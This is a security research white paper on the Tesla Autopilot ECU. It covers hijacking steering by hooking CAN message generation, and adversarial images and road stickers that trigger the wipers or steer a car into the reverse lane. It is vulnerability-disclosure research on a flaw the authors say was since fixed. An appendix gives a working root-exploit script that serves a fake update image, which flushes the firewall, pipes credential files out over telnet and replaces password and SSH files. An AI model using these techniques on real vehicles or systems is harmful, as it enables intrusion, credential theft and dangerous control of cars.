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Abstract 

Keen Security Lab has maintained the security research work on Tesla vehicle and 
shared our research results on Black Hat USA 2017[1] and 2018[2] in a row. Based on 
the ROOT privilege of the APE (Tesla Autopilot ECU, software version 18.6.1), we 
did some further interesting research work on this module. We analyzed the CAN 
messaging functions of APE, and successfully got remote control of the steering 
system in a contact-less way. We used an improved optimization algorithm to generate 
adversarial examples of the features (autowipers and lane recognition) which make 
decisions purely based on camera data, and successfully achieved the adversarial 
example attack in the physical world. In addition, we also found a potential high-risk 
design weakness of the lane recognition when the vehicle is in Autosteer mode. The 
whole article is divided into four parts: first a brief introduction of Autopilot, after that 
we will introduce how to send control commands from APE to control the steering 
system when the car is driving. In the last two sections, we will introduce the 
implementation details of the autowipers and lane recognition features, as well as our 
adversarial example attacking methods in the physical world. 

In our research, we believe that we made three creative contributions: 

1. We proved that we can remotely gain the root privilege of APE and control the 
steering system. 

2. We proved that we can disturb the autowipers function by using adversarial 
examples in the physical world. 

3. We proved that we can mislead the Tesla car into the reverse lane with minor 
changes on the road.  

Research Target 

The hardware and software versions of our research target are listed below: 

Vehicle Autopilot Hardware Software 
TESLA MODEL S 75 2.5 2018.6.1 

Background 

On Black Hat USA 2018, we demonstrated a remote attack chain to break into the 
Tesla APE Module (ver 17.17.4). Here is a brief summary of our remote attack chain, 
the attack chain has been fixed after we reported to Tesla, and more details can be 
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found in our white paper.[3] 

 

Fig 1. remote attack chain from 3G/WIFI to Autopilot ECU 

Our series of research have proved that we can remotely obtain the root privilege of 
APE. We are highly curious about the impact of APE’s cybersecurity on vehicles, for 
example whether hackers can analyze and compromise APE to implement 
unauthorized high-risk control of vehicles. Through deep research work on APE (ver 
18.6.1), we constructed three scenarios to demonstrate our findings.  

Here we’d like to mention that, our security research on APE is based on static reverse 
engineering and dynamic debugging. However, the autowipers and road lane attack 
scenarios do NOT need to root the target Tesla vehicle first. 

Autopilot 

Tesla Autopilot, also known as Enhanced Autopilot after a second hardware version 

started to be shipped, is an Advanced Driver-Assistance System feature offered by 

Tesla that provides sophisticated Level 2 autonomous driving. It supports features like 

lane centering, adaptive cruise control, self-parking, ability to automatically change 

lanes with driver’s confirmation, as well as enabling the car to be summoned to and 

from a garage or parking spot. Tesla Autopilot system primarily relies on cameras, 

ultrasonic sensors and radar. In addition, Tesla Autopilot comes loaded with 

computing hardware from manufactures like Nvidia, that allows the vehicle to process 

data using deep learning to react to conditions in real-time. 
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APE, "Autopilot ECU" module, is the key component of Tesla's auto-driving 

technology. Though there have been many articles talking about its hardware solution 

(especially “verygreen” on TMC[4]), there is much less discussion about its software. 

As we have known, currently all APE 2.0 and 2.5 boards are based on Nvidia's PX2 

AutoChauffeur[5] (actually a highly customized one [6]). Our test car is using APE 2.5, 

so that our discussion mainly focuses on the APE 2.5 board.  

Here is a simple graph showing how the internal components are connected. Note that 

this graph omits all other connections which are not related to our research. 

 

Fig 2. Overview of connections on APE module 

Both APE and APE-B are Tegra chips, same as Nvidia's PX2. LB (lizard brain), is an 

Infineon Aurix chip. Besides, there is a Parker GPU (GP106) from Nvidia connected 

to APE. Software image running on APE and APE-B are basically the same, while LB 

has its own firmware. On the APE part, LB is a coprocessor and supports features like 

monitoring messages on CAN bus, controlling fan speed, determining whether the 
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APE parts should be turned on, etc. On original PX2 boards the Aurix chips have a 

console running on the serial port with several useful functions. But on APE 2.5, this 

chip only provides very few commands on the console.  

Not both APE and APE-B are used for Autopilot, especially considering that not both 

chips are connected to all sensors. Information from radars and other sensors are 

transmitted via some CAN buses (including private ones), and forwarded by LB to 

UDP messages, which can be received by both processors. However, all cameras, 

especially main, narrow and fisheye, which are primary cameras for the autopilot 

functions, are only connected to APE via CSI interfaces. Also, the GPU chip is only 

connected to APE, and we did not see enough evidence showing that two Tegra chips 

(as well as the cameras) are sharing the GPU chip. Thus we think APE-B is only 

something like a "stub function" and APE is the actual chip performing real works. A 

later investigation to the firmware shows that APE-B might, sometimes, boot from the 

same image used for starting up APE. The boot process makes us believe that as long 

as APE and APE-B running the same firmware, we can easily implement our attacks. 

The firmware of APE is a SquashFS image without any encryption. The image is 

running a highly customized Linux (like “CID” and “IC”). In the firmware, we 

observed that binaries of APE software are under “/opt/autopilot” folder. 

Vision 

In this section, we will introduce the implementation details of the Tesla Autopilot 

module’s vision system.  

The binary “vision” is one of the key components of Autopilot. Autopilot uses it to 

process the data collected from all cameras. We did a lot of reverse work on the two 

functions of autowipers and lane recognition which use a pure computer vision 

solution. The special process of these functions can be summarized to two parts: their 

common preprocessing, and their own neural network calculation and postprocessing. 
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Preprocessing 

We think Tesla is using a 12-bit HDR camera, possibly RCCB. The neural network 

model for vision is not designed to process those images directly. Thus the program 

needs to preprocess the image first.  

As mentioned previously, the communication between different executable files (or 

services) is going through the shared memory, including the original image fetched 

from the camera. Those images are fetched from certain file handles according to a 

schedule map.  

 

Fig 3. Buffers are managed by a select() model 

Besides, the vision task would also take some control messages from /dev/i2c 

and other shared memory areas. For diagnostic and product improvement purposes, a 

copy of the image will also be saved into the shared memory, so the snapshot task 

can get and send it. Snapshot task has a large number of record points in different 

tasks, which makes debugging and feature development work more efficient. 

The raw data gathered from the snapshot is in HDR, 1280x960 and 16-bit 

little-endian integer, and the tone mapped image is shown below (may be inaccurate). 
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Fig 4. Tone mapped image from the camera 

We have previously mentioned about the function 

tesla:TslaOctopusDetector::unit_process_per_camera, which would 

process each frame from every camera, including the preprocessing procedure. A few 

prefixes and suffix lines are firstly removed from the image. According to the 

datasheet[7] provided by ON semiconductor for AR0132AT(which might not be Tesla's 

sensors, but probably a similar model), those lines might be used only for pixel 

adjustment and diagnostic purposes, so we assume the autopilot task is not using those 

pixels.  

The next process is tone mapping, to adjust the dynamic range of HDR images from 

the camera, and make them fit into the input model of the neural network. In earlier 

versions, this image is processed by tmp_cuda_exp_tonemapping, and now the 

renamed function is tesla::t_cuda_std_tmrc::compute, which has lots of 

improvements. 

t_cuda_std_tmrc has several outputs, including: 

* linear_signal, after HDR conversion and range compression of the raw image; 
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* detail_layer, result of the boundary detection, which may use canny edge 

detector with some improvements; 

* bilateral_output, could be the result of some bilateral filter, but we failed to 

get its results; 

Moreover, the output also contains some other layers, but since it is not much related 

to our research, we are not going to mention them here.  

The preprocessing towards different cameras can be different. Though currently, we 

have only noticed a demosaicing control boolean in the code, we believe it is easy to 

add different preprocessing filters to different cameras. 

The output of preprocessed images is then processed through several different 

modules according to their type and position. Currently, we have observed three 

different types: 

* 0 for "Primary camera", possibly "main" camera 

* 1 for "Secondary camera", possibly "narrow" camera 

* 2 for other cameras 

And an enum is used to represent all cameras’ positions: 
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Fig 5. Enum possibly used to mark different cameras 

 

Fig 6. “main”, “narrow” and “fisheye” camera on the vehicle. 

 (By the way, we noticed a camera called "selfie" here, but this camera does not exist 

on the Tesla Model S.) 

Generally, those processed images will all be written to input buffers of their 

corresponding neural network. Each neural network parses input images, and provides 

information for tesla::t_inference_engine<float>. Various post processors 



   
 

9 
 

receive those results to give control hints to the controller. Those post processors are 

responsible for several jobs including tracking cars, objects and lanes, making maps 

of surrounding environments, and determining rainfall amount. To our surprise, most 

of those jobs are finished within only one perception neural network. 

The complexity of autopilot tasks requires different cameras assigned with different 

inference engines, configured with different detectors, and filled with several different 

configurations. Therefore, Tesla uses a large class for managing those functions 

(about "large": the struct itself is nearly 900MB in v17.26.76, and over 400MB in 

v2018.6.1, not including chunks it allocates on the heap). Parsing each member out is 

not an easy job, especially for a stripped binary, filled with large class and Boost types. 

Therefore in this article, we won’t introduce a detailed member list of each class, and 

we also do not promise that our reverse engineering result here is representing the 

original design of Tesla. 

In the end, the processed images are provided to each network for forwarding 

prediction.  

Remote Steering Control 

In this section, we will introduce how the APE unit works with the EPAS (Electric 

Power Assisted Steering) unit to achieve the steering system control. Moreover, since 

we’ve got root access of APE, we will demonstrate how to remotely influence the 

EPAS unit to control Tesla car’s steering system in different driving modes. 

APE is the core unit of Tesla’s Advanced Driver Assistance System. It’s responsible 

for steering system control and electronic speed control of the car in the assisted 

driving and automatic parking mode. As far as we know, these advanced assisted 

driving features are based on the high-level vision and automotive Bus (Ethernet, 

CAN, LIN, FlexRay) systems. 
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CAN Bus System 

 

Fig 7. CAN Bus System of APE 

After reverse engineering some services (canrx, cantx, etc.) associated with CAN-bus 

in APE, we gained a basic knowledge of network architecture of APE’s CAN bus 

system. As shown in the figure above, the APE is integrated with two CAN-Bus 

interfaces (CAN0 and CAN1), it interconnects the radars via CAN1. CAN0 along 

with LB is connected to a private CAN bus for redundant mechanism or maybe other 

security considerations.  

In addition, due to the domain isolation, APE shares a logical CAN (which is referred 

as “APE2LB_CAN”) bus with LB unit to communicate with the PT (powertrain) and 

CH (chassis) CAN buses. 

For Tesla cars, the steering system can be controlled by the EPAS unit on chassis 

CAN bus. Although with full access of the APE’s system, it is obvious that we need to 

break some barriers of security mechanisms for the APE’s CAN bus system, like 

redundancy CAN-bus, CAN message counter and domain isolation.  
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We mainly focused on the cantx service which receives intermediary signals from the 

vision system and then transforms the signals to the vehicle control commands. These 

commands will be encapsulated into the special CAN messages (APE2LB_CAN) and 

forwarded to the PT/CH CAN buses via the LB unit. 

APE2LB_CAN 

 

Fig 8. Format of APE2LB_CAN 

APE2LB_CAN is a kind of CAN messages over UDP protocol. The cantx service in 

APE uses APE2LB_CAN to communicate with the LB unit. With APE2LB_CAN, 

APE can build a logical CAN bus with LB. LB is more like a gateway which supports 

Ethernet and CAN protocols, and it’s responsible for extracting CAN ID and raw 

CAN messages from APE2LB_CAN, then encapsulating them into one standard CAN 

message frame, finally transferring this frame to various ECUs on different CAN 

buses (Chassis, Body, Powertrain) according to the “can_bus” in APE2LB_CAN. 

DasSteeringControlMessage 

DasSteeringControlMessage (DSCM), as one of the most key CAN messages, is 

designed for steering system control when the car is in ACC (Adaptive Cruise Control) 

and APC (Automatic Parking Control) modes.  

In the “DasSteeringControlMessageEmitter::populate_message()” function of the 

cantx service, DSCM is produced and encapsulated into the “raw_can_msg” of 
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APE2LB_CAN, and the destinations of DSCM include some ECUs related to steering 

system and car’s speed, like EPAS (Electric Power Assisted Steering) and EPB 

(Electrical Park Brake) units. 

 

Fig 9. Format of DasSteeringControlMessage 

The figure above depicts the format of DSCM: 

• The value of steering angle is stored in the first 2 bytes of DSCM;  

• The third byte is a combination of CAN message’s counter and control type. 

The lower 6 bits in this byte is CAN message counter, once one CAN message 

is populated, the message counter should be increased by 0x01. And the high 2 

bits in the third byte indicate the control type of CAN message. When the 

Tesla car is in ACC or APC mode, the control type should be set to 0x01, 

which indicates “steering angle control” is enabled and the LB units allow 

APE to make the EPAS unit to take control of the steering system.  

 

Fig 10. code snippet of Populating the DasSteeringControlMessage 
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• The fourth byte of CAN message is a one-byte checksum which’s calculated 

by the “eightbit_checksum” algorithm with the CAN ID (0x0488) as an initial 

seed:  

 

Fig 11. eightbit_checksum algorithm 

The following figure shows that the checksum of DasSteeringControlMessage is filled 

in the “DasSteeringControlMessageEmitter::finalize_message()” function of the cantx 

service: 

 

Fig 12. code snippet of finalizing the DasSteeringControlMessage 

Remotely Control the Steering System 

After figuring out the CAN-bus communication between APE, LB and other ECUs 

(EPAS, EPB) related to steering system control, it’s not yet allowed us to trick the 

EPAS to control the steering system by directly injecting malicious DSCM from APE 

to LB. The reason is, as mentioned earlier, DSCM is protected with the message 

timestamp and counter, as well as redundancy CAN which is named PARTY 

CAN-bus in APE.  
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Finally, we figured out an effective solution: dynamically inject malicious code into 

cantx service and hook the “DasSteeringControlMessageEmitter::finalize_message()” 

function of the cantx service to reuse the DSCM’s timestamp and counter to 

manipulate the DSCM with any value of steering angle. Besides, the key part is that 

the control type of DSCM must be set to 0x01 and the “can_bus” of APE2LB_CAN 

set to 0x01 which indicates the destination of the DSCM is chassis CAN bus.  

So far, we were able to send arbitrary DSCM from our remote mobile device to the 

cantx service in APE, by utilizing the vulnerabilities to remotely compromise APE’s 

system.  

In order to visualize this remote attack chain toward the steering system, we managed 

to demonstrate the remote steering control using a gamepad. The control process of 

gamepad controller is shown in the figure below: The gamepad is connected to our 

mobile device via Bluetooth. Meanwhile, the mobile device receives the control 

signal from the gamepad and translates the signal into the corresponding DSCM. The 

cantx service will periodically pull the DSCM from the mobile device through 

3G/Wi-Fi once APE is compromised. Besides, APE needs to continuously push the 

real-time steering angle to the mobile device to calculate an accurate steering angle 

we expected. 

 

Fig 13. the design of the remote steering control using a gamepad 

During our tests, we found this kind of approach has different effects on the car in 
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different driving modes: 

• When the car is parked, we can take control of the steering system with no 

limitations;  

• When the car has been switched from R (Reverse) mode to D (Drive) mode by 

shifting handle, the APE seems to think the car is in APC (Automatic Parking 

Control) mode, which allows us to control the steering system at a speed of 

around 8 KM/H.  

• When the car is in the ACC (Adaptive Cruise Control) mode with a high speed, 

the steering system can be also controlled without limitations.  

• Even when the car is not in the ACC (Adaptive Cruise Control) mode, the 

steering wheel can be also compromised by one chance. 

Autowipers 

The traditional autowipers system uses optical sensors to detect moisture. When 

enough raindrops strike the windshield, the amount of light reflected onto the sensor 

will decrease to a certain level, and the sensor will turn on the wipers. 

Tesla’s autowipers system uses a totally different solution, which is based on a neural 

network model. During experiments that we’ll explain later, it seems that this solution 

is not as reliable as the traditional one in some scenarios. 

Tesla's autowipers function was first released in software update 2017.50.3. As 

introduced in the previous section, rather than using a simple, single sensor to detect 

rain or moisture, Tesla decided to use its second-generation Autopilot suite of cameras 

and artificial intelligence network to determine whether & when the wipers should be 

turned on.  

More specifically, the 120-degree fisheye camera captures the images of the 

windshield then feeds them into a separate neural network for this task after 

preprocessing. The neural network will give out a float value between 0 and 1 as the 



   
 

16 
 

possibility of moisture on the windshield. 

 

Fig 14. Picture of the water on the windshield captured by the fisheye camera. 

Implementation Details of Autowipers 

The autowipers related data is analyzed at a pretty early time. Basically, the process 

engine for the Fisheye camera doesn’t do much except executing the autowipers 

engine: 
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Fig 15. After autowipers is processed, the process engine left. 

Autowipers has its own network file, “fisheye.prototxt”, also called rain classifier: 

 

Fig 16. Fisheye neural network architecture 

The network output gives one blob with only one float inside, or five floats, which 

would later be added as the output of rain classifier. Those outputs represent the 
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system’s assumption of the raining probability. For these two kinds of output blobs, 

although we did not seek for detailed relationships between those values, we found 

that those values will be converted between each other, and the detector (which calls 

autowiper, or other modules) would use the 5-floats version.  

 

Fig 17. Mapping from regression outputs 

The result is then written into tesla::Detections for the related camera, which 

would always be the fisheye on our car. After all detections for the current tick is 

finished, a function called autowiper_controller will be called. This function is 

responsible for judging several different values including the output value from 

current camera, the sensibility settings of autowiper, and other conditions. At the end 

of this function, a message is generated, containing the speed of autowipers should be 

at the current time. Later, along with messages from other components, this message 

will be sent to another process, cantx, via shared memory. This program will choose 
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correct CAN route according to current situations: to Aurix, or send locally. It would 

also translate the message from internal format to the real message on the CAN bus 

and then send out. Once the wiper component receives this message, it will drive 

motors inside to clean raindrops.  

 

Fig 18. Several different speed modes are supported by autowipers 

Reversing autowipers is a good start point for Tesla Autopilot research. Because the 

autowipers is not much related to tracking and planning tasks, or complex in-memory 

info exchanges. Autowipers’ tasks are simple: check input, check threshold, and send 

output. Once we have understood how vision-based autowipers works, we can settle 

down to try some attack methods. We will mention more about other aspects of its 

working later. 

Digital Adversarial Examples 

Our target is to check the robustness of the autowipers function. We tried to build 

some conditions to make the wipers auto switch on when there was no water on the 

windshield. It is a very straightforward idea to create adversarial examples to “attack” 

the system because the whole system is totally based on the deep neural network 

system. 
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For those who are not familiar with, adversarial examples are inputs to a neural 

network that can result in incorrect output.  

Here’s an example from the previous research (Goodfellow et al., 2014), it starts with 

an image of a panda on the left, and a neural network thinks with 57.7% confidence is 

a 'panda'. The panda category is also the one with the highest confidence out of all the 

categories, so the network concludes that the object in the image is a panda. However 

by adding a very small amount of carefully constructed noise you can get an image 

that looks exactly the same to a human, while the network now thinks with 99.3% 

confidence is a 'gibbon.'[8] 

 

Fig 19. The adversarial example of GoogleNet on ImageNet 

In our work, we hook the point where the image is about to be sent to the neural 

network. Instead of feeding the captured image, we upload our own image which 

needs to be evaluated. Then we hook the point where the neural network gives the 

result. If the result reaches the threshold (e.g. 0.25), it indicates that the adversarial 

example is worked. 

We found that in order to optimize the efficiency of the neural network, Tesla converts 

the 32-bit floating point operations to the 8-bit integer calculations, and a part of the 

layers are private implementation, which were all compiled in the “.cubin” file. 

Therefore the entire neural network is regarded as a black box to us. 

There’re some research cases related to the adversarial example generation, sharing 

some white box and black box algorithms. Most of them target to the algorithmic 

model trained by themselves, while we are dealing with an actual commercial model 
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that has been tested and deployed to the market. We tried many existing black box 

algorithms for adversarial example including 'Zeroth Order Optimization'(ZOO)[9] 

attack, Substitute Attack[10], etc. All these algorithms have one thing in common that 

they estimate the gradients or exploit the transferability property of adversarial 

examples. It needs massive calculations to estimate the gradients. And transferability 

means that we can train a new neural network which has the same input and output 

with the original one. But this is also a computationally complex task. In our 

experiment, all the training parts need to be uploaded to the vehicle and wait for the 

feedback, which costs at least one second. Thus, it is not possible to apply algorithms 

that have slow convergence. We also tried increasing the learning rate, but the results 

were not good enough. 

Later we chose to generate adversarial examples of DNN based on the Particle Swarm 

Optimization algorithm (PSO). It makes few or no assumptions about the problem 

being optimized and can search very large spaces of candidate solutions. Firstly, we 

randomly generate a swarm of noises (in our work the size is 50), for each having the 

same shape with the original image and every pixel value is less than 1000 (int16). 

For each iteration, every particle will be evaluated by the Tesla APE, and will move to 

the direction which is the combination of the global historical best position that the 

whole swarm ever reached and the historical best position that the particle ever 

reached. After several iterations, the output of the neural network which we call 'rainy 

score' will increase from a very low value to a high value and stay still. As shown 

below, after one time of PSO, the best position will elevate the rainy score of the 

original image from 0.0113 to 0.8204. Although the rainy score changed largely, we 

can hardly tell the difference between the two images by human eyes. In other words, 

we create the adversarial example that is very normal to humans but is quite different 

from the neural network. We uploaded the adversarial image to the APE with the 

autowipers function on, and the wipers started working very fast. 
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Fig 20. A demonstration of PSO adversarial example generation applied on the Tesla APE 
autowipers module 

Adversarial Examples in Physical World 

Although the black-box digital adversarial examples have been generated successfully, 

it still cannot be implemented in the physical world, since there is no way we can alter 

every pixel. The autowipers neural network is working on the whole picture because 

the water drops may appear anywhere on the screen. So that we improved our method 

to only generate perturbation noise within a patch rather than the whole window (form 

of the patch is similar to Brown’s study[11]). This will lead to the lower rainy score, but 

it is still larger than the threshold. But even in this small patch, it is still hard to be 

implemented in physical world. We also tried adding some norm function to restrict 

the points which need to be changed. But the performance is not ideal. Another 

problem is that it is difficult to adjust the shape and brightness of the adversarial 

perturbation patch in physical world. 

There’re researchers who make attempts of attacking face attributes, road sign, etc. in 

the physical world, but they are all object detection tasks. This kind of tasks only 

concerns the area where the object stands. Thus, the adversarial examples only need to 

modify this area, however our scenario is quite different. Our test goal is to deceive 

the DNN which is responsible for the autowipers, making it mistakenly judge that it is 

raining and auto start the wiper. Thus we need to focus on the entire external area that 

the fisheye camera can capture.  
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Fig 21. Make perturbation noise as a patch 

We proposed a new method what we called “end to end adversarial example 

generation” to attack the Tesla autowipers in physical world. We chose electronic 

display (e.g. TV, pad) to show patches in physical world, which is easy to perform 

end-to-end testing, and also more feasible in real attack scenarios. The display can be 

placed on the side of the road, back of the front car (which is pretty popular on Taxis 

in China which display Ads on rear window), or other places where the fisheye 

camera is easy to capture. Then, we used an optimization algorithm to generate 

adversarial pictures. Since we couldn’t implement our well-trained adversarial 

example (digital noise) in the physical world, we directly use the vehicle to train our 

algorithm and generate the example instead! 

 

Fig 22. End to end adversarial example generation 
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Fig 23. The image captured by the fisheye camera, and we played our adversarial image on the 
display. (the distortion of the fisheye camera causes the proportion of the area occupied by the 

display in the image to be greatly reduced) 

The last problem is to find a proper way to generate the image shown on TV. We 

started with the salt-and-pepper noise, which is also known as impulse noise. It 

presents itself as sparsely occurring white and black pixels. We tried both gray and 

color salt-and-pepper noise, but the result is not satisfied. The rainy score didn’t 

increase much. We speculate that it’s because the camera resolution is not high 

enough to capture the details of the noise. 

We tried another noise function called Worley noise. In computer graphics it is used to 

create procedural textures - textures that are created automatically in arbitrary 

precision and with no need to be drawn by hand. Worley noise comes close to 

simulating textures of stone, water, or cell noise. We find it very suitable, perhaps 

because the neural network mainly concerns about the texture of the input image.   
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Fig 24. Salt-and-Pepper noise and Worley noise 

We played the adversarial picture on a TV, and this adversarial picture has the same 

effect as sprinkling water to the windshield. There is no unified explanation in the 

industry about why there is such an adversarial example, but it is well known that the 

traditional autowipers solution without neural network does not have such problem.  

Although machine learning represents the future of technology, from the consumer’s 

point of view, we hope it could have better stability. The autowipers attack attempt 

shows that we can directly attack the image recognition algorithm in physical world 

through some algorithms. 

Lane Detection 

The lane recognition attack includes eliminate lane attack and fake lane attack. We 

generated adversarial examples both on digital domain and physical domain. We 

found the flaws of the DNN which Tesla uses for lane recognition and lane keeping 

strategy in Autosteer mode, and we successfully validate our findings in the physical 
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world using some simple and unobtrusive materials. 

Implementation Details of Lane Detector 

Different from the autowipers as discussed above, the lane detector includes more 

communication across several components. However, the overall procedure has not 

changed. 

For many major tasks, Tesla uses a single large neural network with many outputs, 

and lane detection is one of those tasks.  
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Fig 25. Main and Narrow camera neural network architecture 
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The image from the camera is processed, input to the huge network, and output is 

saved into detect->prob_from_net. For lane detector, and also other tracking 

related tasks, function detect_and_track is used to maintain its internal map being 

updated and sending the latest information to the controller. For lane detection, this 

function will first call several CUDA kernels for different jobs, including: 

 

Fig 26. Procedure of lane recognition  

Those jobs are finding lanes in the current frame and providing them to different tasks 

like lane departure warning or construction of real world map. After the virtual map 

Edge blur

Add mask on edges of lanes

Find lanes according to a virtual 
“grid”

Add control points to the lanes, 
which works like paths in SVG

Do future process to all lanes 
previous discovered and filter all 

false positive results out

Collect all effective lanes, and 
determine their type
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getting those lane information, it can help to build a real-time HD-Map for perception 

engine and controllers. The virtual map provides many helper functions for reading it, 

like getting distances between two objects. However, some important parameters used 

for the map are strictly checked to prevent incorrect detection. 

 Fig 27. There is some legit checking of parameters 

Some other results will also be written in the detector, including position of road 

shoulders, and lane histories. Also, the “detect_and_track” updates the history of 

lane changes and some other recording arrays. Those recordings provide tracking 

information to the controller. 

 

Fig 28. The lane history and road shoulder info are also written during lane processing 

The controller itself is kind of complex. It will receive tracking info, locate the car’s 

position in its own HD-Map, and provide control instructions according to 

surrounding situations. Most of the code in controller is not related to computer vision 

and only strategy-based choices. But for our target, reversing of the controller doesn’t 

have much sense, since the controller won’t interact directly with sensors. In our 

attacking scenarios, the controller can be treated as a black box, and once we can treat 

the sensor, we can change the trajectory of the car. 
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Another important thing is the intrinsic and extrinsic properties. These are key 

parameters for mapping the image to real world relationship (i.e. size, distance, etc.) 

between objects, meaning they are key parameters for HD-Map generation. Those 

calibration parameters are read when the detector is created and loaded. The function 

tesla::get_undistorted can do transformation on the image, and other modules 

can use function like tesla::t_flat_world_distance::get_inv_km to get info 

from the undistorted image. 

Eliminate Lane attack 

Eliminate lane attack aims to make the APE lane recognition disabled with some 

unobtrusive markings in the physical world. We decided to test whether Tesla APE 

can correctly recognize the lane in the physical world’s various scenes. Everyone 

knows that the lane recognition module wouldn’t work when the camera had been 

disturbed or the lane was covered up. However, this has nothing to do with the APE 

module algorism itself, also it’s difficult to brake a vehicle camera in driving mode. 

So we didn’t choose this so-called “blinding attack”. 

Most of the adversarial examples generated in digital domain are pixel level’s change, 

so it’s hard to deploy them in physical world. We improved black-box optimization 

algorithm to generate perturbations with a certain size and shape. Due to the 

particularity of the lane picture, we added the perspective transformation in this 

process. The pictures used by the lane recognition are 1280x960 pixels raw data with 

16 bits unsigned int values, and the DNN outputs for lane recognition are 416x640 

pixels with 32 bits float values. In our experiments, the image data set was collected 

using the vehicle’s camera. Similar to the autowipers attack, we hooked the 

t_cuda_std_tmrc::compute function and replaced the value of the 

companding_singal placed on GPU with our adversarial examples. Then we took 

the value of the lane_prob_blurred as the lane recognition result. The middle 

process of these two functions is a black-box. A straightforward idea is that most 

pixels of a picture are not useful for the lane recognition, so focusing on the lane and 
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the area around it is an efficient way. Through several experiments we found a way to 

map the lane above output of lane detection to the original picture: (1) Add 48x640 

pixels to the top of the lane picture with value of 0. (2) Add 16x640 pixels to the 

bottom of the lane picture with value of 0. (3) Zoom in the new 480x640 image to 

960x1280 with linear interpolation. After the 3 steps we got the coordinates of the 

lane in the input picture.  

We use a variety of optimization algorithms to mutate the lane and the area around it. 

We expect to find an adversarial example that is less different from the original image 

but can disable the lane recognition function. These are some adversarial examples we 

generated. 

 

Fig 29. Left picture shows we add some noise on the left lane line in digital level, and right picture 
shows the result of APE’s lane recognition function. (We redact top left of our image for privacy 

reasons, but it won’t affect the final result.)  

 

Fig 30. Left picture shows we add some patch around the left lane line in digital level, and right 
picture shows the result 

Fig 29 and Fig 30 show two form patches. Fig 29 was set into a high degree of change 

and it could make the lane disappear, but if we set a lower degree of change like Fig 
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31 showed. 

 

Fig 31. Lower degree of change with noise on the left lane line 

It is almost the same as the recognition result of the original lane. We follow Fig 30 to 

deploy some patches in physical world and it does eliminate the left lane. 

 

Fig 32. adding some patches around lane line in physical world, and there is only right lane in the 
CID (central information display) 

This is the smallest change we have made, but we still think that such a patch is too 

conspicuous, which is hard to not alert the driver. After this process we conclude that 

the lane recognition function of the APE module has good robustness, and it is 

difficult for an attacker to deploy some unobtrusive markings in the physical world to 

disable the lane recognition function of a moving Tesla vehicle. We suspect this is 
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because Tesla has added many abnormal lanes (broken, occluded) in their training set 

for holding the complexity of physical world, that makes Tesla vehicle has a good 

performance of lane detection in a normal external environment (no strong light, rain, 

snow, sand and dust interference).  

Fake lane attack 

We believe that everything has its pros and cons. Since Tesla autopilot vision module 

has good performance of lane recognition, then we think the opposite way, could the 

car regard some inconspicuous markings we made on the ground as a normal lane? 

Misleading the autopilot vehicle to the wrong direction with some patches made by a 

malicious attacker, in sometimes, is more dangerous than making it fail to recognize 

the lane. We paint three inconspicuous tiny square in the picture took from camera, 

and the vision module would recognize it as a lane with a high degree of confidence 

as below shows: 

 

Fig 33. Fake lane in digital level 

After that we tried to build such a scene in physical: we pasted some small stickers as 

interference patches on the ground in an intersection. We hope to use these patches to 

guide the Tesla vehicle in the Autosteer mode driving to the reverse lane. The test 

scenario like Fig 34 shows, red dashes are the stickers, the vehicle would regard them 

as the continuation of its right lane, and ignore the real left lane opposite the 

intersection. When it travels to the middle of the intersection, it would take the real 
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left lane as its right lane and drive into the reverse lane.  

 

Fig 34. Fake lane mode in physical world 

 

Fig 35. In-car perspective when testing, the red circle marks, the interference markings are marked 
with red circles 

Tesla autopilot module’s lane recognition function has a good robustness in an 

ordinary external environment (no strong light, rain, snow, sand and dust interference), 

but it still doesn’t handle the situation correctly in our test scenario. This kind of 

attack is simple to deploy, and the materials are easy to obtain. As we talked in the 

previous introduction of Tesla’s lane recognition function, Tesla uses a pure computer 

vision solution for lane recognition, and we found in this attack experiment that the 

vehicle driving decision is only based on computer vision lane recognition results. 

Our experiments proved that this architecture has security risks and reverse lane 

recognition is one of the necessary functions for autonomous driving in non-closed 



   
 

35 
 

roads. In the scene we build, if the vehicle knows that the fake lane is pointing to the 

reverse lane, it should ignore this fake lane and then it could avoid a traffic accident.  

Conclusion 

We did some interesting work on Autopilot (version 2018.6.1) based on the previously 

shared vulnerabilities. We analyzed the CAN Bus System on APE, and then we used 

the gamepad to wirelessly drive the car, showing the potential safety threat that 

attacker can cause after breaking into the APE module.  

We analyzed APE’s vision system in deep through static reverse engineering and 

dynamic debugging. Based on the research results, we did some experimental tests in 

the physical world and successfully made Tesla APE behave abnormally in our attack 

scenarios.  

This proves that with some physical environment decorations, we can interfere or to 

some extent control the vehicle without connecting to the vehicle physically or 

remotely. We hope that the potential product defects exposed by these tests can be 

paid attention to by the manufacturers, and improve the stability and reliability of 

their consumer-facing automotive products.  
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Appendix 

Here is the PoC script of the vulnerability we used to gain ROOT on the Tesla Autopilot system. It 
works in the version 2018.6.1, and has been fixed in Tesla’s 2018.24 firmware release. 

#!/bin/bash 
 
APE=192.168.90.103 
PORT=25974 
 
HTTP_IP=192.168.90.100 
HTTP_PORT=$((7000+$(($RANDOM%2000)))) 
 
#REALSSQ=ape_17.17.4.ssq    #for ape2.0 375767104 
REALSSQ=ape25_2018.6.1.ssq    #for ape2.5 285941824  
 
REALSSQ=$(readlink -f $REALSSQ) 
 
#rm fakessq 
rm -rf /tmp/fakessq_root 
 
mkdir -p /tmp/fakessq_root/deploy 
echo 1 > /tmp/fakessq_root/deploy/security-version 
cat << EOF > /tmp/fakessq_root/deploy/ape-updater 
#!/bin/sh 
iptables -F 
cat /var/etc/saccess/tesla*|telnet 192.168.90.145 6666 
cat /var/etc/saccess/tesla*|telnet 192.168.90.100 6666 
umount /etc/ssh/sshd_config 
umount /etc/shadow 
mount -o bind /mnt/.etc.ro/shadow /etc/shadow 
mount -o bind /mnt/.etc.ro/ssh/sshd_config /etc/ssh/sshd_config 
mount -o bind /etc/ssh/sshd_config /etc/ssh/sshd_config_locked 
mount -o bind /etc/shadow_unlocked /etc/shadow 
sv restart sshd 
head -c 4 /bin/ape-updater|grep "#!" && rm /bin/ape-updater && cp 
/deploy/ape-updater /bin/ape-updater 
/bin/ape-updater 
EOF 
 
chmod 755 /tmp/fakessq_root/deploy/ape-updater 
 
#Uncomment this if you want to exploit the APE from your computer with IP 
192.168.90.100 
#mksquashfs /tmp/fakessq_root ./fakessq -b 131072 -all-root -no-progress > 
/dev/null 
 
SERVE1=$REALSSQ 
SERVE2=fakessq 
 
SERVE=$SERVE1 
while { RESPONSE="HTTP/1.1 200 OK\r\nConnection: 
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keep-alive\r\nContent-Length: $(stat -c%s $SERVE)\r\n\r\n"; echo -en 
"$RESPONSE"; cat $SERVE; } | nc -l $HTTP_PORT ; do  
    SERVE=$SERVE2 
done & 
 
